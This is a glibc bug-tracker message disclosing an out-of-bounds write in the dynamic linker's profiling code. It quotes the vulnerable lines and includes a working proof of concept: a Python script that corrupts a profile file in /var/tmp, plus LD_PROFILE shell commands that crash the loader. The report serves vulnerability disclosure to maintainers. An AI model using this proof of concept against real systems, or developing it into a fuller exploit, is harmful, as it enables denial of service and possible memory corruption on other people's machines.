[Bug dynamic-link/33797] New: elf: Out-of-bounds write in ld.so profiling via unvalidated self_pc

carlos at redhat dot com sourceware-bugzilla@sourceware.org
Wed Jan 14 21:23:23 GMT 2026


https://sourceware.org/bugzilla/show_bug.cgi?id=33797

            Bug ID: 33797
           Summary: elf: Out-of-bounds write in ld.so profiling via
                    unvalidated self_pc
           Product: glibc
           Version: 2.43
            Status: NEW
          Severity: normal
          Priority: P2
         Component: dynamic-link
          Assignee: unassigned at sourceware dot org
          Reporter: carlos at redhat dot com
  Target Milestone: ---

## Summary

A heap-buffer-overflow exists in glibc's dynamic linker profiling code
(`elf/dl-profile.c`).

## Vulnerability

Profile files are mmap'd `MAP_SHARED` from `/var/tmp`. The loader trusts
`self_pc` values from these files without bounds checking:

```c
// elf/dl-profile.c:452-456
to_index = (data[idx].self_pc / (HASHFRACTION * sizeof (*tos)));
tos[to_index] = newfromidx;  // OOB write - no bounds check
```

The same pattern exists in `_dl_mcount` (lines 550-556) for runtime arc
updates.

**Missing validation:**
- No check that `self_pc < textsize`
- No check that `to_index < tos_slots`
- No file ownership verification

## Proof of Concept

Tested on glibc 2.36 (Debian Bookworm, ARM64).

**Step 1:** Create valid profile, then inject malicious `self_pc`:

```python
#!/usr/bin/env python3
import struct, sys, os

f = sys.argv[1]
data = bytearray(open(f, 'rb').read())
ptr = 8  # pointer size (8 for 64-bit)

# Parse header to find arc records
off = 20 + 4 + (2 * ptr) + 4 + 4 + 16  # gmon_hdr + tag + hist_hdr
low = struct.unpack_from('<Q', data, 24)[0]
high = struct.unpack_from('<Q', data, 24 + ptr)[0]
textsize = high - low
hist_size = struct.unpack_from('<I', data, 24 + 2*ptr)[0]
off += hist_size * 2 + 4  # skip histogram + arc tag
narcs_off = off
off += 4  # narcs field

# Inject OOB self_pc into first arc record
arc_size = ptr + ptr + 4  # from_pc + self_pc + count
malicious_self_pc = textsize + 0x40000000  # 1GB beyond valid range
struct.pack_into('<Q', data, off + ptr, malicious_self_pc)

open(f, 'wb').write(data)
print(f"Injected self_pc=0x{malicious_self_pc:x} (textsize=0x{textsize:x})")
```

**Step 2:** Trigger crash:

```bash
LD_PROFILE=libc.so.6 /bin/ls  # Creates /var/tmp/libc.so.6.profile
python3 inject.py /var/tmp/libc.so.6.profile
LD_PROFILE=libc.so.6 /bin/ls  # SIGSEGV
```

## Affected Versions

- **Introduced:** commit `321e8782bd2` (2004-07-06)
- **Still present:** HEAD (line 556 updated `210ee295033` 2025-09-10)
- All glibc releases since 2.3.4 with `LD_PROFILE` support enabled


Reported-by: Igor Morgenstern, Aisle Research

-- 
You are receiving this mail because:
You are on the CC list for the bug.


More information about the Glibc-bugs mailing list